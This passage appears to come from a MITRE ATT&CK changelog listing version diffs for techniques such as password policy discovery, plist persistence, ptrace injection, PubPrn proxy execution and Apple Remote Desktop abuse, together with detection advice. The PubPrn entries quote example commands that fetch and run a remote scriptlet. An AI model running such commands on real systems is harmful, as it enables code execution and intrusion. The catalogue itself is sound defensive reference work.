Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). |
| x_mitre_detection | Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. | Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AWS GetPasswordPolicy', 'description': 'Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.', 'url': 'https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html'} | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima | |
| x_mitre_data_sources | User Account: User Account Metadata | |
| x_mitre_platforms | IaaS |
Current version: 2.4
Version changed from: 2.3 → 2.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-30 12:29:56.512000+00:00 | 2021-10-15 18:10:53.423000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview) |
| x_mitre_version | 2.3 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'K8s Authorization Overview', 'description': 'Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.', 'url': 'https://kubernetes.io/docs/reference/access-authn-authz/authorization/'} | |
| x_mitre_contributors | Daniel Prizmant, Palo Alto Networks | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks | |
| x_mitre_data_sources | Pod: Pod Metadata | |
| x_mitre_platforms | Containers |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 14:38:43.211000+00:00 | 2021-10-18 17:39:13.604000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify plist files to run a program during s | t | 1 | Adversaries can modify property list files (plist files) to |
| > | ystem boot or user login. Property list (plist) files contai | > | execute their code as part of establishing persistence. Plis | ||
| > | n all of the information that macOS and OS X uses to configu | > | t files are used by macOS applications to store properties a | ||
| > | re applications and services. These files are UTF-8 encoded | > | nd configuration settings for applications and services. App | ||
| > | and formatted like XML documents via a series of keys surrou | > | lications use information plist files, <code>Info.plist</cod | ||
| > | nded by < >. They detail when programs should execute, file | > | e>, to tell the operating system how to handle the applicati | ||
| > | paths to the executables, program arguments, required OS per | > | on at runtime using structured metadata in the form of keys | ||
| > | missions, and many others. plists are located in certain loc | > | and values. Plist files are formatted in XML and based on Ap | ||
| > | ations depending on their purpose such as <code>/Library/Pre | > | ple's Core Foundation DTD and can be saved in text or binary | ||
| > | ferences</code> (which execute with elevated privileges) and | > | format.(Citation: fileinfo plist file description) Advers | ||
| > | <code>~/Library/Preferences</code> (which execute with a us | > | aries can modify paths to executed binaries, add command lin | ||
| > | er's privileges). Adversaries can modify plist files to ex | > | e arguments, and insert key/pair values to plist files in au | ||
| > | ecute their code as part of establishing persistence. plists | > | to-run locations which execute upon user logon or system sta | ||
| > | may also be used to elevate privileges since they may execu | > | rtup. Through modifying plist files in these locations, adve | ||
| > | te in the context of another user.(Citation: Sofacy Komplex | > | rsaries can also execute a malicious dynamic library (dylib) | ||
| > | Trojan) A specific plist used for execution at login is <c | > | by adding a dictionary containing the <code>DYLD_INSERT_LIB | ||
| > | ode>com.apple.loginitems.plist</code>.(Citation: Methods of | > | RARIES</code> key combined with a path to a malicious dylib | ||
| > | Mac Malware Persistence) Applications under this plist run u | > | under the <code>EnvironmentVariables</code> key in a plist f | ||
| > | nder the logged in user's context, and will be started every | > | ile. Upon user logon, the plist is called for execution and | ||
| > | time the user logs in. Login items installed using the Serv | > | the malicious dylib is executed within the process space. Pe | ||
| > | ice Management Framework are not visible in the System Prefe | > | rsistence can also be achieved by modifying the <code>LSEnvi | ||
| > | rences and can only be removed by the application that creat | > | ronment</code> key in the application's <code>Info.plist</co | ||
| > | ed them.(Citation: Adding Login Items) Users have direct con | > | de> file.(Citation: wardle artofmalware volume1) | ||
| > | trol over login items installed using a shared file list whi | ||||
| > | ch are also visible in System Preferences (Citation: Adding | ||||
| > | Login Items). Some of these applications can open visible di | ||||
| > | alogs to the user, but they don’t all have to since there is | ||||
| > | an option to "hide" the window. If an adversary can registe | ||||
| > | r their own login item or modified an existing one, then the | ||||
| > | y can use it to execute their code for a persistence mechani | ||||
| > | sm each time the user logs in (Citation: Malware Persistence | ||||
| > | on OS X) (Citation: OSX.Dok Malware). The API method <code> | ||||
| > | SMLoginItemSetEnabled</code> can be used to set Login Items | ||||
| > | , but scripting languages like [AppleScript](https://attack. | ||||
| > | mitre.org/techniques/T1059/002) can do this as well. (Citati | ||||
| > | on: Adding Login Items) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-30 00:51:59.629000+00:00 | 2021-10-15 14:46:47.383000+00:00 |
| description | Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges).
Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan)
A specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to "hide" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items) | Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1) |
| external_references[1]['source_name'] | Sofacy Komplex Trojan | fileinfo plist file description |
| external_references[1]['description'] | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. | FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021. |
| external_references[1]['url'] | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ | https://fileinfo.com/extension/plist |
| external_references[2]['source_name'] | Methods of Mac Malware Persistence | wardle artofmalware volume1 |
| external_references[2]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://taomm.org/vol1/pdfs.html |
| x_mitre_data_sources[0] | File: File Creation | Service: Service Creation |
| x_mitre_detection | File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. | Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist.
Monitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.
Identify new services executed from plist modified in the previous user's session. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Adding Login Items', 'description': 'Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html'} | |
| external_references | {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 18:29:30.882000+00:00 | 2021-10-18 12:21:11.178000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 13:51:22.360000+00:00 | 2021-05-28 14:56:23.748000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 18:29:31.031000+00:00 | 2021-10-18 12:30:14.640000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 15:43:50.029000+00:00 | 2021-10-18 12:30:14.852000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via ptr | t | 1 | Adversaries may inject malicious code into processes via ptr |
| > | ace (process trace) system calls in order to evade process-b | > | ace (process trace) system calls in order to evade process-b | ||
| > | ased defenses as well as possibly elevate privileges. Ptrace | > | ased defenses as well as possibly elevate privileges. Ptrace | ||
| > | system call injection is a method of executing arbitrary co | > | system call injection is a method of executing arbitrary co | ||
| > | de in the address space of a separate live process. Ptrace | > | de in the address space of a separate live process. Ptrace | ||
| > | system call injection involves attaching to and modifying a | > | system call injection involves attaching to and modifying a | ||
| > | running process. The ptrace system call enables a debugging | > | running process. The ptrace system call enables a debugging | ||
| > | process to observe and control another process (and each in | > | process to observe and control another process (and each in | ||
| > | dividual thread), including changing memory and register val | > | dividual thread), including changing memory and register val | ||
| > | ues.(Citation: PTRACE man) Ptrace system call injection is c | > | ues.(Citation: PTRACE man) Ptrace system call injection is c | ||
| > | ommonly performed by writing arbitrary code into a running p | > | ommonly performed by writing arbitrary code into a running p | ||
| > | rocess (ex: <code>malloc</code>) then invoking that memory w | > | rocess (ex: <code>malloc</code>) then invoking that memory w | ||
| > | ith <code>PTRACE_SETREGS</code> to set the register containi | > | ith <code>PTRACE_SETREGS</code> to set the register containi | ||
| > | ng the next instruction to execute. Ptrace system call injec | > | ng the next instruction to execute. Ptrace system call injec | ||
| > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | ||
| > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | ||
| > | ess in the target processes’ memory (ex: the current address | > | ess in the target processes’ memory (ex: the current address | ||
| > | of the next instruction). (Citation: PTRACE man)(Citation: | > | of the next instruction). (Citation: PTRACE man)(Citation: | ||
| > | Medium Ptrace JUL 2018) Ptrace system call injection may n | > | Medium Ptrace JUL 2018) Ptrace system call injection may n | ||
| > | ot be possible targeting processes with high-privileges, and | > | ot be possible targeting processes that are non-child proces | ||
| > | on some system those that are non-child processes.(Citation | > | ses and/or have higher-privileges.(Citation: BH Linux Inject | ||
| > | : BH Linux Inject) Running code in the context of another | > | ) Running code in the context of another process may allow | ||
| > | process may allow access to the process's memory, system/net | > | access to the process's memory, system/network resources, a | ||
| > | work resources, and possibly elevated privileges. Execution | > | nd possibly elevated privileges. Execution via ptrace system | ||
| > | via ptrace system call injection may also evade detection fr | > | call injection may also evade detection from security produ | ||
| > | om security products since the execution is masked under a l | > | cts since the execution is masked under a legitimate process | ||
| > | egitimate process. | > | . | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:24:56.734000+00:00 | 2021-10-18 12:26:31.766000+00:00 |
| description | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the trusted PubPrn script to proxy execu | t | 1 | Adversaries may use PubPrn to proxy execution of malicious r |
| > | tion of malicious files. This behavior may bypass signature | > | emote files. PubPrn.vbs is a [Visual Basic](https://attack.m | ||
| > | validation restrictions and application control solutions th | > | itre.org/techniques/T1059/005) script that publishes a print | ||
| > | at do not account for use of these scripts. <code>PubPrn.vb | > | er to Active Directory Domain Services. The script is signed | ||
| > | s</code> is a Visual Basic script that publishes a printer t | > | by Microsoft and is commonly executed through the [Windows | ||
| > | o Active Directory Domain Services. The script is signed by | > | Command Shell](https://attack.mitre.org/techniques/T1059/003 | ||
| > | Microsoft and can be used to proxy execution from a remote s | > | ) via <code>Cscript.exe</code>. For example, the following c | ||
| > | ite.(Citation: Enigma0x3 PubPrn Bypass) An example command i | > | ode publishes a printer within the specified domain: <code>c | ||
| > | s <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts | > | script pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Co | ||
| > | \en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/ | > | m</code>.(Citation: pubprn) Adversaries may abuse PubPrn to | ||
| > | hi.png</code>. | > | execute malicious payloads hosted on remote sites.(Citation | ||
| > | : Enigma0x3 PubPrn Bypass) To do so, adversaries may set the | ||||
| > | second <code>script:</code> parameter to reference a script | ||||
| > | let file (.sct) hosted on a remote site. An example command | ||||
| > | is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/fo | ||||
| > | lder/file.sct</code>. This behavior may bypass signature val | ||||
| > | idation restrictions and application control solutions that | ||||
| > | do not account for abuse of this script. In later versions | ||||
| > | of Windows (10+), <code>PubPrn.vbs</code> has been updated t | ||||
| > | o prevent proxying execution from a remote site. This is don | ||||
| > | e by limiting the protocol specified in the second parameter | ||||
| > | to <code>LDAP://</code>, vice the <code>script:</code> moni | ||||
| > | ker which could be used to reference remote code via HTTP(S) | ||||
| > | . | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Atul Nair, Qualys'] | |
| x_mitre_defense_bypassed | ['Digital Certificate Validation', 'Application Control'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:36:30.648000+00:00 | 2021-09-01 00:57:01.161000+00:00 |
| description | Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.
PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png. | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S). |
| external_references[1]['source_name'] | Enigma0x3 PubPrn Bypass | pubprn |
| external_references[1]['description'] | Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018. | Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021. |
| external_references[1]['url'] | https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enigma0x3 PubPrn Bypass', 'description': 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', 'url': 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into a service specifically desig | > | g/techniques/T1078) to log into a service specifically desig | ||
| > | ned to accept remote connections, such as telnet, SSH, and V | > | ned to accept remote connections, such as telnet, SSH, and V | ||
| > | NC. The adversary may then perform actions as the logged-on | > | NC. The adversary may then perform actions as the logged-on | ||
| > | user. In an enterprise environment, servers and workstation | > | user. In an enterprise environment, servers and workstation | ||
| > | s can be organized into domains. Domains provide centralized | > | s can be organized into domains. Domains provide centralized | ||
| > | identity management, allowing users to login using one set | > | identity management, allowing users to login using one set | ||
| > | of credentials across the entire network. If an adversary is | > | of credentials across the entire network. If an adversary is | ||
| > | able to obtain a set of valid domain credentials, they coul | > | able to obtain a set of valid domain credentials, they coul | ||
| > | d login to many different machines using remote access proto | > | d login to many different machines using remote access proto | ||
| > | cols such as secure shell (SSH) or remote desktop protocol ( | > | cols such as secure shell (SSH) or remote desktop protocol ( | ||
| > | RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D | > | RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D | ||
| > | esktop Services) | > | esktop Services) Legitimate applications (such as [Software | ||
| > | Deployment Tools](https://attack.mitre.org/techniques/T1072 | ||||
| > | ) and other administrative programs) may utilize [Remote Ser | ||||
| > | vices](https://attack.mitre.org/techniques/T1021) to access | ||||
| > | remote hosts. For example, Apple Remote Desktop (ARD) on mac | ||||
| > | OS is native software used for remote management. ARD levera | ||||
| > | ges a blend of protocols, including [VNC](https://attack.mit | ||||
| > | re.org/techniques/T1021/005) to send the screen and control | ||||
| > | buffers and [SSH](https://attack.mitre.org/techniques/T1021/ | ||||
| > | 004) for secure file transfer.(Citation: Remote Management M | ||||
| > | DM macOS)(Citation: Kickstart Apple Remote Desktop commands) | ||||
| > | (Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries | ||||
| > | can abuse applications such as ARD to gain remote code exec | ||||
| > | ution and perform lateral movement. In versions of macOS pri | ||||
| > | or to 10.14, an adversary can escalate an SSH session to an | ||||
| > | ARD session which enables an adversary to accept TCC (Transp | ||||
| > | arency, Consent, and Control) prompts without user interacti | ||||
| > | on and gain access to data.(Citation: FireEye 2019 Apple Rem | ||||
| > | ote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstar | ||||
| > | t Apple Remote Desktop commands) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Dan Borges, @1njection'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 12:25:03.251000+00:00 | 2021-10-15 14:15:07.272000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands) |
| x_mitre_detection | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. In macOS, you can review logs for "screensharingd" and "Authentication" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Remote Management MDM macOS', 'description': 'Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT209161'} | |
| external_references | {'source_name': 'Kickstart Apple Remote Desktop commands', 'description': 'Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT201710'} | |
| external_references | {'source_name': 'Apple Remote Desktop Admin Guide 3.3', 'description': 'Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.', 'url': 'https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf'} | |
| external_references | {'source_name': 'FireEye 2019 Apple Remote Desktop', 'description': 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html'} | |
| external_references | {'source_name': 'Lockboxx ARD 2019', 'description': 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.', 'url': 'http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html'} | |
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} |
Current version: 3.2
Version changed from: 3.1 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
